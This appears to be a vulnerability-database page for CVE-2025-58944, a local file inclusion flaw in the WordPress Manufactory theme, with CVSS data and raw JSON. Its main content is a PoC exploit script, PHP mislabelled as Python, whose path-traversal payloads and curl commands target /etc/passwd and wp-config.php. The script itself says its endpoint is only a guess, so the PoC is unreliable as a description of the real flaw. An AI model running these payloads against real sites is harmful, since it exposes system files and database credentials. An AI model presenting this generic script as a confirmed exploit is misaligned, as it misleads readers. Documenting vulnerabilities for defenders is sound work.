Security Vulnerability Report
中文
CVE-2025-58944 CVSS 8.1 HIGH

CVE-2025-58944

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:21

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Manufactory manufactory allows PHP Local File Inclusion.This issue affects Manufactory: from n/a through <= 1.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:manufactory:*:*:*:*:*:wordpress:*:* - VULNERABLE
Manufactory Theme <= 1.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58944 PoC - WordPress Manufactory Theme LFI * Author: Security Researcher * Note: For authorized security testing only */ // Target configuration $target = "http://target-site.com/"; $theme_path = "wp-content/themes/manufactory/"; // Vulnerable endpoint (example - actual endpoint may vary) $vulnerable_file = "includes/template-functions.php"; // Test 1: Basic LFI - Read /etc/passwd echo "[*] Testing CVE-2025-58944 - Manufactory Theme LFI\n\n"; $test1_params = [ 'template' => '../../../../../../../../etc/passwd' ]; echo "[+] Test 1: Attempting to read /etc/passwd\n"; echo "URL: " . $target . $theme_path . $vulnerable_file . "?" . http_build_query($test1_params) . "\n\n"; // Test 2: Read wp-config.php echo "[+] Test 2: Attempting to read wp-config.php\n"; $test2_params = [ 'template' => '../../../../../../../../wp-config.php' ]; echo "URL: " . $target . $theme_path . $vulnerable_file . "?" . http_build_query($test2_params) . "\n\n"; // Test 3: Null byte injection attempt echo "[+] Test 3: Testing with null byte injection\n"; $test3_params = [ 'template' => '../../../../../../../../etc/passwd%00' ]; echo "URL: " . $target . $theme_path . $vulnerable_file . "?" . http_build_query($test3_params) . "\n\n"; // curl command examples echo "[+] curl command examples:\n"; echo "curl -v '{$target}{$theme_path}{$vulnerable_file}?template=../../../../../../../../etc/passwd'\n"; echo "curl -v '{$target}{$theme_path}{$vulnerable_file}?template=../../../../../../../../wp-config.php'\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58944", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:02.093", "lastModified": "2026-04-27T20:16:21.433", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Manufactory manufactory allows PHP Local File Inclusion.This issue affects Manufactory: from n/a through <= 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:manufactory:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.4", "matchCriteriaId": "91F90991-F2C2-458F-8D1B-93953C248BBA"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/manufactory/vulnerability/wordpress-manufactory-theme-1-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}